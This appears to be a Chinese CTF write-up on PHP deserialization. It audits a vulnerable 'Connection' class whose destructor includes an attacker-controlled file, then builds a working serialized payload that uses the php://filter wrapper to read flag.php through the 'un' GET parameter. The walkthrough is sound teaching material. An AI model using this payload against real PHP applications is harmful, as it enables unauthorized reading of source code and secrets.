代码编织梦想

我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!

PHP反序列化漏洞

leve1-[本地复现]-[析构方法的利用]

1.题目描述

<?php
include "flag.php";

class Connection
{
    public $file;

    public function __construct($file)
    {
        $this->file = $file;
    }

    public function __sleep()
    {
        $this->file = 'sleep.txt';
        return array('file');
    }

    public function __destruct()
    {
        include($this->file);
    }
}

if (isset($_GET['un'])) {
    $obj2 = unserialize($_GET['un']);
} else {
    highlight_file(__file__);
}

2.代码审计

通读代码:

<?php
include "flag.php";		// 文件包含flag.php,一般就是用来提示说明key值或flag值在flag.php里面

class Connection		// 定义一个以Connection为名的类
{
    public $file;		// 定义一个以file为名的公有属性

    public function __construct($file)	// 定义一个以file为参数的公有构造方法__construct()
    {									// 构造方法:当前类的实例化对象被创建的时候,自动被调用
        $this->file = $file;			// 表示属性初始化
    }

    public function __sleep()			// 定义一个魔术方法__sleep()
    {									// sleep方法:当前类的实例化对象被序列化的时候,自动被调用
        $this->file = 'sleep.txt';		// 变量赋值为sleep.txt
        return array('file');			// 返回数组array
    }

    public function __destruct()		// 定义一个析构方法__destruct()
    {									// 析构方法:当前类的实例化对象被销毁的时候,自动被调用
        include($this->file);			// 文件包含以file变量值为名的文件
    }
}

if (isset($_GET['un'])) {				// 判断是否存在GET传递的un参数或参数值是否为NULL值
    $obj2 = unserialize($_GET['un']);	// 若传递un参数值且不为NULL值,则反序列化该值
} else {						
    highlight_file(__file__);			// 否则,显示当前页面源码
}

分析所得:

  • flag值位置:存在于当前目录下的flag.php页面内
  • 后台存在反序列化函数
  • 后台存在不正当使用魔术方法的行为
  • 后台存在文件包含漏洞
  • 用于对传入的反序列化的内容可控

3.解题过程

第一步:分析流程

  • 想要获得flag值,就要包含flag.php;(注意:需要用到php://filter伪协议读取flag.php的源码,虽然php文件中对于符合php语法规范的要解析执行,对于不符合php语法规范的直接读取,但是注释的内容不会解析执行,也不会在前台显示,因此位于注释中的flag是不能够直接包含出来的,我们此时就需要读取页面的源码来获得flag值)
  • 想要包含flag.php,就要执行析构方法并且让当前类的file属性的值为flag.php
  • 想要执行析构方法,就要有一个当前类的实例化对象被销毁(只要脚本执行完毕,对象会自动被销毁,此时就会执行析构方法,进行文件包含了)(当然了,后台若使用unset()函数也可以人为的销毁对象)

第二步:根据以上步骤构造payload

<?php
class Connection
{
    public $file='php://filter/convert.base64-encode/resource=flag.php';
}

$chen = new Connection();
echo serialize($chen);
//O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
O:表示对象
10:表示对象名长度为10
Connection:为对象名
1:表示当前实例化对象的属性有1个
类需要用{}括起来
s:表示属性名为字符串类型
4:表示属性名长度为4
file:表示属性名
属性和属性之间需要分号分割,属性和属性值之间也需要分号分割
s:表示属性值为字符串类型
52:表示属性值得长度为52
file";s:52:"php://filter/convert.base64-encode/resource=flag.php:表示属性值

因此payload,如下:

?un=O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

第三步:传入payload,获取flag.php页面源码
在这里插入图片描述

第四步:解码结果,得到flag

//flag{3a8a0e34b5c6577ed54da625b292fca3}

4.总结

很简单的一道题,只是php://filter伪协议我没有提及,其他的很详细了